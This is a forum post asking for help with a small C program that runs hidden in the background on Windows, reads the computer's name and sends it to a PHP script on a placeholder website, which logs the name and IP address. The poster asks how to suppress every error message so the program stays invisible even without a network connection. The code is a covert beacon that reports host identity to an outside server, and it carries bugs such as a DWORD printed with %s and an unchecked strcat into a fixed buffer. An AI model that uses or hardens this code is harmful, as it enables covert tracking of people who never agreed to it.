So this app when run would simply look up the pc's 'computer name', then goto a certain url where the php script was located and append the computers name to the url. For example the program would open this url "http://www.YOUR-WEBS....com/c.php?pc=" and append the computer name it looked up to the end of it.
Now my problem is this program is suppose to run silently in the background, which it does most of the time. The problem is if the program is run when the internet connection is down or unavailable, the program will popup and display a error message. I need help making it so no matter what, this program doesnt display any messages of any kind, error or otherwise, even if no internet connection is available I want it to just silently close.
Does anyone know how I would go about modifying the below source code todo this?
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment (lib, "Wininet.lib")
int main(int argc, char* argv[])
{
HINTERNET Initialize, Connection;
char cBuffer[MAX_COMPUTERNAME_LENGTH+1] = {'\0'};
DWORD dwBytes = MAX_COMPUTERNAME_LENGTH+1;
char logUrl[100] = {'\0'}; //Make It Smaller (url length + MAX_COMPUTERNAME_LENGTH + 1)
strcpy(logUrl, "http://www.YOUR-WEBSITE.com/c.php?pc=");
//BOOL GetComputerName(LPTSTR lpBuffer, LPDWORD lpnSize);
if(! GetComputerName((LPTSTR)&cBuffer, &dwBytes))
{
printf("~~GetComputerName() Failed!Last Error:%s\n",GetLastError());
return 1;
}
//Append Computer Name
strcat((char*)&logUrl, (const char*)&cBuffer);
Initialize = InternetOpen( "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)",
INTERNET_OPEN_TYPE_PRECONFIG , NULL, NULL, 0);
// Make The Connection To The URL
// This Is All That Is Needed To Get Your PHP Script To Log The IP & Computer Name
Connection = InternetOpenUrl(Initialize, logUrl, NULL, 0,
INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_RELOAD, 0);
if(! Connection)
{
printf("~~InternetOpenUrl() Failed! LastError:%s", GetLastError());
return 1;
}
//Close Handles
InternetCloseHandle(Connection);
InternetCloseHandle(Initialize);
return 0;
}
Thanks in advance for anyone that can help!
-elistian












